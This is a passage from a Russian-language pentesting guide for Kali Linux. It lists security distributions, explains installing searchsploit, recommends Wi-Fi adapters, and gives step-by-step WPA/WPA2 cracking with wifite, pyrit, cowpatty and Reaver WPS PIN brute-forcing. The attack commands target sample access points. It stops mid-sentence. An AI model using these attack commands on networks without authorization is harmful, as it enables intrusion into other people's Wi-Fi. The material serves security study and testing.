наиболее используемых и хорошо известных инструментов для
этического хакинга.

Samurai

The Samurai Web Testing Framework — это live окружение linux, которое
было настроено для функционирования в качестве окружения для
пентестинга. CD содержит лучшие опен сорсные и бесплатные
инструменты, которые фокусируются на тестировании и атаке вебсайтов.

По материалам сайта WebWare.biz

117

Тестирование на проникновение с помощью Kali Linux 2.0

Katana

blackbuntu

Bugtraq

Katana — это портативный мультизагрузочный набор по безопасности,
который собрал вмести много современных дистрибутивов по
безопасности и портативных приложений для запуска на одной флешке.
Он включает дистрибутивы, которые сфокусированы на пентестинге,
аудите, криминалистическом исследовании, восстановлении системы,
анализе сети и удалении зловредных программ. Katana также
поставляется с более чем 100 портативными приложениями Windows;
такими как Wireshark, Metasploit, NMAP, Cain & Abel и многими
другими.
Дистрибутив для тестирования на проникновение, основан на Ubuntu
10.10, который специально был создан для тренировки студентов и
практикантов по информационной безопасности.
Bugtraq — это дистрибутив, основанный на ядре 2.6.38, имеет широкий
спектр инструментов для проникновения и криминалистики. Bugtraq
можно установить с Live DVD или USB диска, этот дистрибутив собран из
последних пакетов, настроен, ядро обновлено и пропатчено для лучшей
производительности и распознавания различного железа, включены
патчи для беспроводных инжектов, которые другие дистрибутивы не
распознают.

Network
Security
Toolkit (NST)

Загрузочный ISO live CD/DVD (NST Live) основан на Fedora. Этот набор
инструментов был создан для обеспечения простого доступа к самым
качественным приложениями по безопасности сети с открытым
исходным кодом и должен запускаться на большинстве x86/x86_64
платформ.

Pentoo

Pentoo — это LiveCD дистрибутив для тестирования на проникновение
на основе Gentoo.Его особенности — множество инструментов для
аудита и тестирования сетей, от сканирования и выявления до
эксплуатирования уязвимостей.

BlackArch

BlackArch дистрибутив основанный на Arch.Там более 600 инструментов
в репозитории пакетов BlackArch. The BlackArch live ISO поставляется с
множеством менеджеров окон, включая dwm, Awesome, Fluxbox,
Openbox, wmii, i3 и Spectrwm. Репозиторий пакетов BlackArch совместим
с существующими установками Arch.

По материалам сайта WebWare.biz

118

Тестирование на проникновение с помощью Kali Linux 2.0

Глава 17. База данных эксплойтов от Offensive Security
(создателей Kali Linux)
Git репозиторий Базы данных эксплойтов и searchsploit: сходства и
различия
База данных эксплойтов (The Exploit Database) — это архив публичных эксплойтов и
соответствующего уязвимого программного обеспечения, она создаётся и
поддерживается для тестировщиков на проникновение и исследователей уязвимостей.
Её цель — это создание и обслуживание самой полной коллекции эксплойтов,
собранных от прямых подписок, списков почтовых рассылок и других публичных
источников. Эксплойты представленных в свободном доступе в базе данных с удобной
навигацией. База данных эксплойтов — это в большей степени хранилище эксплойтов и
рабочих моделей, чем советы, что делает её ценным ресурсом для тех, кому нужны
рабочие данные прямо сейчас. Говоря простым языком, большая часть содержащегося
в базе — это рабочие эксплойты.
Репозиторий обновляется ежедневно — по мере того, как становятся известными
новые эксплойты. Дополнительно обратите внимание на Базу данных эксплойтов
бинарных файлов (Exploit Database Binary Exploits). В этом месте собраны
скомпилированные и готовые файлы тех эксплойтов, которые нужно компилировать
или которые нужно создавать особым образом. В Kali Linux эти бинарники отсутствуют.
Если вы нашли эксплойт, который нужно компилировать, то смотрите имя файла,
например это 31583.txt. Отбрасываем расширение и ищем по названию 31583 в базе
данных бинарников. Находим там файл 31583.docx — это не бинарник, это уже
рабочий концепт. Кроме собственно бинарников, там присутствуют особым образом
сделанные картинки, базы данных, я видел аудио файл, ну и, конечно, много
исполнимых файлов. Думаю, причиной, по которым эти файлы не попали в Kali
является то, что многие из этих файлов определяются антивирусными программами
как вирусы.
Об Exploit Database Binary Exploits как-то не очень много говорят — я узнал о ней
совсем недавно, чисто случайно. Её также можно клонировать себе в систему и искать
ещё и по ней.
К репозиторию также прилагается утилипа searchsploit, которая позволяет производить
поиск по базе по одному или по нескольким словам.
Итого, у нас имеется 3 очень похожих ресурса:


Git репозиторий Базы данных эксплойтов



Программа searchsploit в Kali Linux



Веб-сайт https://www.exploit-db.com/

Программа searchsploit в Kali Linux отличается от Git репозитория тем, что:


её база обновляется не каждый день



отсутствуют некоторые ключи, которые есть в утилите из Git репозитория (-u, -t, w, —colour, —id)



разное количество файлов в базах

По материалам сайта WebWare.biz

119

Тестирование на проникновение с помощью Kali Linux 2.0

Веб-сайт www.exploit-db.com — это что-то вроде графического интерфейса для всего
этого богатства. Веб-сайт мне нравится тем, что показывает последние поступления.
Если нужен какой-то свежак, то за ним нужно идти именно сюда.

Установка searchsploit
На Kali Базу данных эксплойтов смысла устанавливать нет, там практически то же самое
в searchsploit.
Кстати, если вы собираетесь пользоваться searchsploit (хоть в Kali, хоть в другом
дистрибутиве), то посмотрите статью «Metasploit Exploitation Framework и searchsploit
— как искать и как использовать эксплойты». Там есть полезные советы, которые не
попали в эту заметку.
Итак, я буду устанавливать searchsploit (Базу данных эксплойтов) на Linux Mint
(аналогично для Ubuntu и Debian).
Для сторонних программ я создал в пользовательском каталоге директорию opt:
1|

mkdir opt

Переходим туда:
1|

cd opt

Если у вас ещё нет git, то установите его:
1|

sudo apt-get install git

Клонируем репозиторий:
1|

git clone https://github.com/offensive-security/exploit-database.git

Поиск по Базе данных эксплойтов
Запускать searchsploit из любого места так:
1|

~/opt/exploit-database/searchsploit

Пример поиска:
1|

~/opt/exploit-database/searchsploit wordpress sql

По материалам сайта WebWare.biz

120

Тестирование на проникновение с помощью Kali Linux 2.0

Т.е. я ищу по ключевым словам wordpress и sql:

Мне стало интересно, одинаковое ли количество файлов в установленной Базе данных
эксплойтов и в базе searchsploit, которая в Kali (благо, в Kali как раз сегодня обновилась
exploitdb):
1|

mial@mint ~/opt $ find /home/mial/opt/exploit-database/platforms/ -type f | wc -l
33888

2|

root@WebWare-Kali:~# find /usr/share/exploitdb/platforms/ -type f | wc -l
98309

3|

root@WebWare-Kali:~# find /usr/share/exploitdb/platforms/ -type f | wc -l
33824

По материалам сайта WebWare.biz

121

Тестирование на проникновение с помощью Kali Linux 2.0

Команду выполнял 2 раза — до принятия сегодняшних обновок и сразу же после их
принятия:

Ничего себе обновились — минус 65 тысяч файлов! Наверное, какие-нибудь дубли или
что-то подобное.
Не забывайте время от времени обновлять :
1|

~/opt/exploit-database/searchsploit -u

Часть 3. Тестирование на проникновение беспроводных сетей
Глава 18. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры
(2015)
По материалам сайта wirelesshack.org, за наводку спасибо посетителю SVNSVNSVN
Чтобы проводить тест на проникновение беспроводных сетей с Kali Linux нужен
совместимый USB Wi-Fi адаптер (в простонародье «свисток»). Он нужен чтобы иметь
возможность переходить в режим монитора (наблюдения), проводить инжекты
пакетов и делать разные другие вещи, которые мы обычно делаем при беспроводном
пентесте.
При поиске адаптера, который работает с Kali, в первую очередь нужно обращать
внимание на чипсет который применяется для его изготовления.
В этой заметке перечислены некоторые из совместимых с Kali чипсетов, а также
рассказано об адаптерах, в которых они применяются и которые можно найти в
свободной продаже. Вот список этих чипсетов:


Atheros AR9271



Ralink RT3070

По материалам сайта WebWare.biz

122

Тестирование на проникновение с помощью Kali Linux 2.0


Ralink RT3572



Realtek 8187L (беспроводные G адаптеры)

Если вы нашли какую-то новую беспроводную карту Wi-Fi, которая не указана в моём
списке, но в которой использован один из этих чипсетов, то с высокой долей
вероятностью она также подойдёт для тестов с Kali.
Да, и список чипсетов также неполный. Вот здесь вы найдёте много разной
дополнительной информации.
Если вы покупаете карту не из рекомендованного списка, то помните, главное
ориентироваться на чипсет, а не название производителя.
Также рекомендуется не покупать беспроводные карты, которые поддерживают
только стандарт Wi-Fi G (хотя они и стоят дешевле). Лучше купите устройство с
поддержкой стандарта N, поскольку такие устройства обратно совместимы с G и могут
использоваться и с N и с G. Большинство роутеров и устройств в настоящее время
работают по стандарту N.
Ещё стоит обратить внимание на охват, который будет иметь адаптер. Маленькие USB
адаптеры удобны в силу своего размера, но нужно помнить, что и их диапазон работы
будет меньше по сравнению с адаптерами с большой антенной на 5 dbi или 9 dbi.
Приступ к нашему списку самых популярных чипсетов и USB Wi-Fi адаптеров для Kali.
Адаптеры Alfa продолжают доминировать в пентестинге в 2015 году. Здесь список
лучших совместимых с Kali Linux USB Wi-Fi адаптеров со ссылками на онлайн магазин.

Адаптеры, которые используют чипсет Ralink RT3070
Alfa AWUS036NH 2.4 GHz

По материалам сайта WebWare.biz

123

Тестирование на проникновение с помощью Kali Linux 2.0

Alfa AWUS036NEH 2.4 GHz

Panda PAU05 2.4 GHz

По материалам сайта WebWare.biz

124

Тестирование на проникновение с помощью Kali Linux 2.0

Адаптеры, которые используют чипсет AR9271
Alfa AWUS036NHA

TP-LINK TL-WN722N 2.4 GHz

По материалам сайта WebWare.biz

125

Тестирование на проникновение с помощью Kali Linux 2.0

Адаптеры, которые используют чипсет RT3572
Alfa AWUS051NH двухчастотная 2.4 GHz и 5.8 GHz
Обратите внимание на этот беспроводной адаптер, он является одним из самых
любимых у пентестеров. Также важный его плюс — это поддержка частот 2.4 GHz и 5.8
GHz.

Беспроводные USB адапеты с поддержкой только стандарта G, чипсет
Realtek 8187L
Следующие USB адаптеры были в прошлом бестселлерами, но поскольку они
поддерживают только беспроводной стандарт G их можно назвать устаревшими. Под
«прошлым» здесь подразумевается 2-5 лет назад. Под «устаревшими» здесь
подразумевается «не будут работать в отношении самых новых ТД, в которых
настроена работа только по стандарту N».
По материалам сайта WebWare.biz

126

Тестирование на проникновение с помощью Kali Linux 2.0

Alfa AWUS036H USB адаптер 2.4 GHz

Netgear WG111v2 USB адаптер 2.4 GHz

По материалам сайта WebWare.biz

127

Тестирование на проникновение с помощью Kali Linux 2.0

Sabrent NT-WGHU USB адаптер 2.4 GHz

Дешёвый адаптер дальнего радиуса действия, который работает с Kali
Это пример дешёвого адаптера дальнего радиуса действия (48 dBi) который использует
чипсет Ralink 3070, который хорошо работает с Kali. У него есть проблемы с любыми
версиями Windows, кроме Windows 7 и он не работает с Mac. Если вам нужны
адаптеры с хорошей поддержкой, посмотрите упомянутые выше, выберите те из них,
которые поддерживают стандарт N.

High Power SignalKing Signal King 48DBI

По материалам сайта WebWare.biz

128

Тестирование на проникновение с помощью Kali Linux 2.0

Адапетры 4G совместимые с Kali Linux
NooElec NESDR Mini 2 USB RTL-SDR и ADS-B Receiver Set, RTL2832U &
R820T2 Tuner, MCX Input.
RTL-SDR тюнер — этот свисток может собирать различные 4G сигналы с Kali Linux.
Захваченные данные могут быть проанализированы, особенно это касается LTE и GSM,
но нужно понимать, что эти сигналы полностью зашифрованы. Этот прибор довольно
функционален, хотя и недорогой — меньше 25 долларов (при нормальном курсе это
совсем недорого). Он, кстати, является новинкой.

Глава 19. Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и
cowpatty в Kali Linux
Оговорка: Эта инструкция только для тренировочных и образовательных целей.
Убедитесь, что у вас есть разрешение, перед тем, как атаковать точки доступа,
поскольку это является нарушением закона во многих странах. Я не несу никакой
ответственности за использование этих инструкций, содержащихся в этом
руководстве.
Для защиты своего беспроводного роутера от взлома, следуйте рекомендациям по
обеспечению безопасности точек доступа Wi-Fi.
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться со статьёй «Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры».

Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и cowpatty с cuda или
calpp в Kali Linux
Слишком много инструкций по взлому Wifi WPA/WPA2 пароля, в каждой из которых
используются различные методы. Каждый имеет свой собственный взгляд на это.
По материалам сайта WebWare.biz

129

Тестирование на проникновение с помощью Kali Linux 2.0

Лично я думаю, нет правильных или неправильных способов взлома беспроводной
точки доступа. Следующий способ — это мой способ, и я нашёл его крайне
эффективным и быстрым во время моих тестов по взлому пароля Wifi WPA/WPA2,
используя pyrit и cowpatty в Kali Linux, где я проводил атаку по словарю, с
использованием cuda или calpp (cal++), и в то же самое время я использовал WiFite для
ускорения некоторых вещей. Весь процесс был осуществлён в Kali Linux и занял у меня
меньше чем 10 минут на взлом Wifi WPA/WPA2 пароля с помощью комбинации из
pyrit, cowpatty и WiFite, используя мой ноутбук с графической картой AMD.
Вы можете сделать этот процесс быстрее, как это сделала я. Если у вас есть видеокарта
AMD ATI, вам нужно воспользоваться нижеследующими инструкциями.

Пользователи NVIDIA:
1. Установите драйвер NVIDIA на Kali Linux – NVIDIA ускоренный графический
драйвер Linux
2. Установите модуль ядра драйвера NVIDIA CUDA и Pyrit на Kali Linux – CUDA, Pyrit
и Cpyrit-cuda

Пользователи AMD:
1. Установите проприетарный fglrx драйвер AMD ATI fglrx на Kali Linux
2. Установите AMD APP SDK в Kali Linux
3. Установите CAL++ в Kali Linux
4. Установите Pyrit
Читатели, кто хочет попробовать альтернативные способы взлома пароля Wifi WPA
WPA2, используйте HashCat или cudaHashcat или oclHashcat для взлома неизвестного
Wifi WPA WPA2 пароля. Польза от использования Hashcat в том, что вы можете создать
ваше собственное правило, соответствующее макету, и выполнить атаку методом
перебора. Это альтернатива использования атаки по словарю, где словарь может
содержать только определённое количество слов, но атака методом перебора
позволит вам проверить каждую возможную комбинацию заданных символов. Hashcat
может взламывать Wifi WPA/WPA2 пароли и вы также можете использовать её для
взлома MD5, phpBB, MySQL и SHA1 паролей. Использование Hashcat является хорошим
вариантом, если вы можете предположить 1 или 2 символа в пароле, это занимает 12
минут на его взлом. Если вы знаете 4 символа в пароле, это занимает 3 минуты. Вы
можете сделать правила, перебирать только буквы и цифры для взлома совершенно
неизвестного пароля, если вы знаете, что дефолтный пароль конкретного роутера
содержит только их. В этом случае возможность взлома намного выше.
Важное замечание: Многие пользователи пытаются сделать захват с сетевой картой,
которая не поддерживается. Вам следует купить карту, которая поддерживает Kali
Linux, включая инъекцию, режим мониторинга и т. д. Список может быть найден в
статье «Рекомендуемые 802.11 сетевые карты для Kali Linux (в том числе USB)». Очень
важно, чтобы вы имели поддерживаемую карту, в противном случае вы просто зря
потратите время и усилия на что-то, что не принесёт результата.

По материалам сайта WebWare.biz

130

Тестирование на проникновение с помощью Kali Linux 2.0

Захват handshake с WiFite
Почему мы используем WiFite, вместо Aircrack-ng, как в других руководствах? Потому
что это быстрее и нам не нужно печатать команды. Переводим беспроводную карту в
режим прослушивания:
1|

airmon-ng start wlan0

Наберите следующую команду в вашем терминале Kali Linux:
1|

wifite -wpa

Вы также можете напечатать:
1|

wifite wpa2

Если вы хотите видеть всё (wep, wpa or wpa2), то просто введите следующую команду
— разницы никакой нет, просто это займёт на несколько минут больше:
1|

wifite

Когда программа закончит работу, то мы увидим доступные точки доступа (ТД — для
краткости). Обратите внимание на столбец CLIENTS. Всегда пробуйте те ТД, в которых в
этом столбце есть запись clients, потому что это просто намного быстрее. Вы можете
выбрать все или отобрать по номеру. Для этого в появившееся приглашение нужно
набрать all – если вы хотите все, или набрать номера, разделённые запятыми. В моём
случае я набрал 1,2 и нажал ENTER.
Отлично, у меня отобразилось несколькоТД с пометкой clients, я выберу первую и
вторую, т. к. они имеют самый сильный сигнал. Пробуйте выбирать те, в которых
сильный сигнал. Если вы выберите со слабым, то, возможно, вам придётся ждать
ДОЛГО до того, как вы что-нибудь захватите… если это вообще получится.
Итак, я выбрал 1 и 2 и нажал ENTER, чтобы WiFite делала свою магию.
Когда вы нажали ENTER, обратите внимание на вывод. У меня не хватило терпения
дождаться, пока с номером 1 что-нибудь произойдёт, т. к. ничего не происходило в
течение ДОЛГОГО времени. Поэтому я нажал CTRL+C для выхода.
На самом деле, это хорошая функция WIfite, т. к. программа спросила:
1|

What do you want to do?

2|

[c]ontinue attacking targets

3|

[e]xit completely.

Я могу выбрать c, для продолжения с другими ТД, или e — для выхода. Это та функция,
о которой я говорил. Я набрал c для продолжения. В результате была пропущена
ТД под номером 1 и началась атака на номер 2. Это отличная опция, т. к. не все
роутеры или ТД или цели будут отвечать на атаку сходным образом. Вы можете,
конечно, подождать и однажды получить ответ, но если вы это делаете в учебных
целях и вам интересует ЛЮБАЯ ТД, то это просто сохранит время.
И вуаля, для захвата рукопожатия (handshake) потребовалось всего несколько секунд.
Эта ТД имела множество клиентов и я получил своё рукопожатие.
Это рукопожатие было сохранено в файле /root/hs/BigPond_58-98-35-E9-2B-8D.cap.

По материалам сайта WebWare.biz

131

Тестирование на проникновение с помощью Kali Linux 2.0

Когда захват завершён и больше нет ТД для атаки, Wifite просто выйдет и вы получите
обратно запрос командной строки.
Теперь, когда у нас есть захваченный файл с рукопожатием в нём, вы можем сделать
несколько вещей:
1. Мы можем использовать атаку по словарю.
2. Мы можем использовать атаку грубой силой.


Среди брутфорса мы можем использовать crunch



Мы можем использовать oclhashcat

В этой инструкции я покажу атаку по словарю, т. к. почти 20% (каждая пятая) ТД будет
иметь стандартный пароль из словаря. Ниже в этой инструкции я покажу атаку
методом перебора.

Атака по словарю захваченного файла .cap для взлома Wi-Fi пароля
Чтобы осуществить атаку по словарю, нам нужно заиметь файл словаря.
Kali Linux поставляется с некоторыми файлами словарей, как часть стандартной
установки. Как мило. Спасибо команде разработки Kali Linux.
Давайте скопируем лучший файл словаря в каталог root:
1|

cp /usr/share/wordlists/rockyou.txt.gz .

Распакуем его:
1|

gunzip rockyou.txt.gz

Поскольку, согласно требованиям, минимальный пароль WPA2 может быть в 8
символов, давайте пропарсим файл, чтобы отфильтровать любые пароли, которые
менее 8 символов и более 63 (на самом деле, вы можете просто пропустить эту
строчку, это полностью на ваше усмотрение). Таким образом, мы сохраним этот файл
под именем newrockyou.txt:
1|

cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt

Давайте посмотрим, как много паролей содержит этот файл:
1|

wc -l newrockyou.txt

В нём целых 9606665 паролей.
Оригинальный файл содержит ещё больше:
1|

wc -l rockyou.txt

Там 14344392 паролей. Итак, мы сделали этот файл короче, что означает, мы можем
протестировать ТД в более сжатый срок.
Наконец, давайте переименуем этот файл в wpa.lst:
1|

mv newrockyou.txt wpa.lst

По материалам сайта WebWare.biz

132

Тестирование на проникновение с помощью Kali Linux 2.0

Создаём ESSID в базе данных Pyrit
Сейчас нам нужно создать ESSID в базе данных Pyrit:
1|

pyrit -e BigPond create_essid

ВНИМАНИЕ: Если в названии ТД есть пробел, например, “NetComm Wireless”, тогда
ваша команда будет вроде этой:
1|

pyrit -e 'NetComm Wireless' create_essid

Я знаю, много людей столкнулись с этой проблемой
Шикарно, теперь у нас есть ESSID, добавленный в базу данных Pyrit.

Импортируем словарь в Pyrit
Сейчас, когда ESSID добавлен в базу данных Pyrit, давайте импортируем наш словарь
паролей.
Используйте следующую команду для импорта предварительно созданного словаря
паролей wpa.lst в базу данных Pyrit:
1|

pyrit -i /root/wpa.lst import_passwords

Создайте таблицы в Pyrit, используя пакетный (batch) процесс
Это просто, просто наберите следующую команду:
1|

pyrit batch

Так как данная операция выполняется на ноуте с дерьмовенькой графической картой, я
имею только 15019 PMKs в секунду (это включает мой CAL++). Если у вас более мощная
графическая карта и вы установили или CUDA для видеокарты NVIDIA, или CAL++ для
карты AMD, ваша скорость будет намного выше.
Процессор в моём случае занят на 100%, температура на ядрах поднялась до 94
градусов Цельсия. Вы должны быть осторожны, насколько большой ваш файл словаря
и насколько ГОРЯЧИЙ ваш процессор и графическая карта. Используйте
дополнительное охлаждение, чтобы избежать повреждения.

Процесс взлома
Мы можем взламывать используя несколько различных процессов.
1. Используя Pyrit
2. Используя Cowpatty

Атака на рукопожатие (handshake) из базы данных, используя Pyrit
Легко. Просто используйте следующую команду для начала процесса взлома:
1|

pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap attack_db

Вот и всё. Это заняло несколько минут, чтобы пройти по всей таблицы базы данных для
получения пароля, если он присутствует в словаре. У меня скорость достигла
159159186.00 PMK's в секунду и это заняло меньше чем 1 секунду для его взлома. Это,
безусловно, быстрее всего.
По материалам сайта WebWare.biz

133

Тестирование на проникновение с помощью Kali Linux 2.0

На заметку: Я пробовал это на другой машине с графической картой NVIDIA с
установленными CUDA и Cpyrit-CUDA. Очевидно, это было намного быстрее моего
ноутбука. Но в любом случае, это супер быстро.
Если на этом этапе появилась ошибка Pyrit, то посмотрите статью "Решение проблемы с
ошибкой Pyrit: IOError: libpcap-error while reading: truncated dump file; tried to read 424
captured bytes, only got 259".

Атака на рукопожатие (handshake) с паролем из файла или словаря,
используя Pyrit
Если вам не хочется создавать базу данных и crunch, а хочется напрямую копошиться в
файле словаря (что много медленнее), вы можете сделать следующее:
1|

pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap -i /root/wpa.lst attack_passthrough

Скорость этого способа? 7807 PMKs в секунду. На мой вкус намного медленнее.

Взламываем используя Cowpatty
Для взлома с использованием cowpatty, вам нужно экспортировать в формат cowpatty
и затем начать процесс взлома.

Экспорт в cowpatty
Надеюсь, вплоть до этого момента всё прошло как планировалось и всё отработало. Из
Pyrit мы можем перенаправить наш вывод в cowpatty или в airolib-ng. Все мои тесты
показывают, что cowpatty намного быстрее, поэтому я остановился на нём.
Поэтому давайте сделаем наш файл cowpatty. Это опять просто, наберите следующие
команды, для экспорта вашего вывода в cowpatty:
1|

pyrit -e BigPond -o cow.out export_cowpatty

Прибавим ходу: взлом WPA WPA2 PSK паролей в cowpatty
Теперь, когда у нас есть вывод в cowpatty, давайте взломаем парольную фразу
WPA2/PSK. Наберите следующую команду для начала процесса взлома:
1|

cowpatty -d cow.out -s BigPond -r hs/BigPond_58-98-35-E9-2B-8D.cap

После того, как вы введёте это, куча паролей будет проверена на соответствие вашему
хеш файлу. Это будет продолжаться до перебора всех паролей. Как только в файле
словаря будет найден соответствующий пароль, процесс взлома остановится и вам
будет выведен пароль.
И бинго, программа нашла соответствующий пароль. Посмотрим на количество
паролей, перебранных в секунду. У меня это 164823.00 паролей/секунду.
ВНИМАНИЕ: cowpatty вылетит (аварийно прекратит работу), если ваш файл
паролей/словарь больше, чем 2 Гб. Вы должны будете остановиться на airolib-ng,
хоть это и медленнее.

Атакуем рукопожатие (handshake) из файла cowpatty, используя Pyrit
Есть ещё один способ использования Pyrit.
По материалам сайта WebWare.biz

134

Тестирование на проникновение с помощью Kali Linux 2.0

Вы можете в следующий раз использовать файл cow.out в Pyrit:
1|

pyrit -r hs/BigPond_58-98-35-E9-2B-8D.cap -i /root/cow.out attack_cowpatty

Скорость этого способа? 31683811 PMKs в секунду. Намного медленнее, чем
использование процесса Pyrit attack_db. Но, по крайней мере, при этом способе вам не
нужен пакетный (batch) процесс.

Очищаем Pyrit и базу данных
Наконец, если нужно, вы можете удалить ваш essid и сделать очистку:
1|

pyrit -e BigPond delete_essid

Завершение
Этот процесс не всегда возможен, и иногда взлом Wifi пароля WPA/WPA2 намного
проще с использованием Reaver-WPS. Думаю, вам захочется также проверить и тот
способ.

Глава 20. Взлом Wifi WPA/WPA2 паролей с использованием
Reaver
Если у вас какие-либо проблемы с беспроводными устройствами, то следует
ознакомиться с Главой 19. Лучшие совместимые с Kali Linux USB Wi-Fi адаптеры

Обзор Reaver
Reaver предназначен для подборки пина WPS (Wifi Protected Setup) методом перебора.
Конечной целью является расшифровка пароля WPA/WPA2. Reaver создан для
надёжной и практичной атаки на WPS, он прошёл тестирование на большом
количестве точек доступа с разными реализациями WPS. В среднем, Reaver раскрывает
пароль WPA/WPA2 в виде простого текста целевой точки доступа (ТД) за 4-10 часов, в
зависимости от ТД. На практике, ему обычно нужна половина этого времени на
предположение пина WPS и разгадки пароля.
Т.к. оригинальная версия Reaver не обновлялась с января 2012 года, то был сделан
форк. Сайт форка — https://code.google.com/p/reaver-wps-fork/. Последние изменения
в форке датируются январём 2014 года.
Жизнь не стоит на месте. И совсем недавно (в апреле 2015 года) была официально
выпущена модифицированная версия форка Reaver. Сайт этой модификации —
https://github.com/t6x/reaver-wps-fork-t6x. Главное её отличие в том, что она может
использовать атаку Pixie Dust для нахождения верного пина WPS. Эта атака применима
ко многим точкам доступа Ralink, Broadcom и Realtek. Атака, используемая для этой
версии, разработана Wiire.
Запускается модифицированная версия Reaver точно также, как и форк. О новых
ключах форка и какие нововведения он нам несёт будет рассказано ниже.
Перед тем, как мы начнём, заинтересованных в теме анализа и взлома Wi-Fi сетей
перенаправляю также к статье «Взлом Wi-Fi пароля (WPA/WPA2), используя pyrit и
cowpatty в Kali Linux». Там используется метод перехвата рукопожатия (программой
По материалам сайта WebWare.biz

135

Тестирование на проникновение с помощью Kali Linux 2.0

Wifite) и предлагается очень быстрый метод расшифровки пароля. Скорость
достигается за счёт применения техники значительного ускорения перебора паролей.
Основные векторы взлома Wi-Fi сетей:


перехват рукопожатий (хендшейков) и последующий их брутфорсинг



подбор пина на ТД с включённым WPS.

Данная статья посвящена второму способу.
Если вы перехватили рукопожатия и вы хотите применить атаку брут-форсинг, то у меня
есть ещё пара ссылок для вас. Во-первых, статья, которую я рекомендовал чуть выше,
рассказывает, как произвести быстрый перебор по словарю. А в статье «Взлом паролей
WPA2/WPA с помощью Hashcat в Kali Linux (атака перебором Wi-Fi паролей по маске)»,
как следует из её названия, рассказано о переборе по маске. Это значительно ускорит
процесс, если нам известны некоторые символы из пароля, либо мы знаем правила, в
соответствии с которыми этот пароль генерировался. Вообще Hashcat мощная
программа, которая может взламывать не только пароли Wifi WPA/WPA2, но и пароли
MD5, phpBB, MySQL, SHA1 и многие другие.

Суть метода атаки Reaver — подбор WPS
Главное, что нам нужно от атакуемой точки доступа, это включённость на ней WPS. В
случае правильного введения пина, ТД сама предоставит нам необходимые данные
для аутентификации (в т.ч. WPA PSK).
Как уже было сказано, нужно ввести правильный пин. Думаю, все уже догадались, что
Reaver занимается тем, что перебирает пины, пока не найдёт верный. Об этом пине
известно следующее: это восьмизначное число. Вводить его можно в любое время —
каких-либо действий со стороны владельца ТД не требуется. Нам не нужна никакая
больше информация: ни о настройках ТД, ни о шифровании или конфигурации. Для
восьмизначных чисел возможно 10^8 (100,000,000) вариантов. Но последняя цифра не
является случайно, она рассчитывается по алгоритму, т. е. говоря простым языком,
последнюю цифру мы всегда знаем, и количество возможных вариантов сокращается
до 10^7 (10,000,000).
Ну и будто бы специально, чтобы нам было проще брутфорсить, пин делится на две
половины, и каждая из этих половин проверяется индивидуально. Это означает, что
для первой половины 10^4 (10,000) возможных вариантов, а для второй — всего 10^3
(1,000), т. к. последняя цифра не является случайной.
Reaver подбирает первую половину пина, а потом вторую. Общее число возможных
вариантов, как мы только что посчитали, равняется 11,000. Скорость, с которой Reaver
тестирует номера пинов полностью зависит от скорости с которой ТД может
обрабатывать запросы. Некоторые достаточно быстрые — можно тестировать по
одному пину в секунду, другие — медленнее, они позволяют вводить только один пин
в 10 секунд.

Установка Reaver
Установите Kali Linux, там уже всё встроено. (Reaver, libpcap и libsqlite3).

По материалам сайта WebWare.biz

136

Тестирование на проникновение с помощью Kali Linux 2.0

Использование Reaver
Начинаем вводом команды:
1|

airmon-ng

И смотрим на вывод, точнее нас интересует только интерфейс. Он называется wlan0.
Теперь набираем команду airmon-ng start
У меня так:
1|

airmon-ng start wlan0

Для Reaver нужна следующая информация: имя интерфейса и BSSID целевой
ТД. Узнать, какие ТД находяться в радиусе доступности, а также их BSSID можно так:
1|

airodump-ng --wps wlan0mon

Например, из этого списка меня заинтересовал ТД Kitty, её BSSID — 4C:72:B9:FE:B8:0C.
Вся необходима информация для запуска Reaver'а у меня есть. Останавливаем
airodump-ng и запускаем Ривер:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C

По материалам сайта WebWare.biz

137

Тестирование на проникновение с помощью Kali Linux 2.0

Канал и SSID (при условии, что SSID не замаскирована) целевой ТД будет автоматически
идентифицирована Reaver'ом, если они не заданы явным образом в командной строке:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -c 4 -e Kitty

По умолчанию, если ТД переключает каналы, Reaver также будет соответственно
переключать каналы. Тем не менее, эту функцию можно отключить, зафиксировав
канал интерфейса:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C --fixed

Таймаут по умолчанию равен 5 секундам. Если нужно, этот период таймаута можно
задать вручную (минимальный период таймаута — 1 секунда):
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -t 2

Дефолтный период между попытками пина — 1 секунда. Эта величина может быть
увеличена или уменьшена до любого не отрицательного целого числа. Величина ноль
означает без задержки:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -d 0

Некоторые ТД временно блокирует их WPS состояние, обычно на 5 минут или меньше,
когда выявлена «подозрительная» активность. По умолчанию, когда выявлен
заблокированное состояние, Reaver будет проверять состояние каждый 315 секунд (5
минут и 15 секунд) и не будет продолжать брут-форсить, пока WPS состояние не
разблокируется. Эта проверка может быть увеличена или уменьшена до любой не
отрицательной целой величины:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C --lock-delay=250

Для дополнительного вывода, можно задать уровень подробности. Если опцию
подробности написать дважды, то это увеличит количество выдаваемой информации и
будет отображать каждую попытку пина:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -vv

Дефолтный период получения сообщений ответа M5 и M7 WPS — 0.1 секунды. Если
нужно, этот периодтаймаута может быть задан автоматически (максимальный период
таймаута — 1 секунда):
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C -T .5

Некоторые убогие реализации WPS разрывают соединение, если введён неверный
пин, вместо того, чтобы отвечать сообщением NACK, как этого требует спецификация. В
расчёте на это, если достигнут таймаут M5/M7, это лечится также установлением NACK
по умолчанию. Тем не менее, если известно, что целевая ТД отправляет NACK'и
(большинство делают), эта функция может быть отключена для улучшения
совместимости. Обычно эта опция не используется, поскольку Reaver автоматически
определяет, отправляет ли ТД надлежащие ответы с NACK'и или нет:
1|

reaver -i wlan0mon -b 4C:72:B9:FE:B8:0C --nack

Хотя большинство ТД не заботятся об отправки им сообщения EAP FAIL для закрытия
сессии WPS, иногда это необходимо. По умолчанию, эта функция отключена, но она
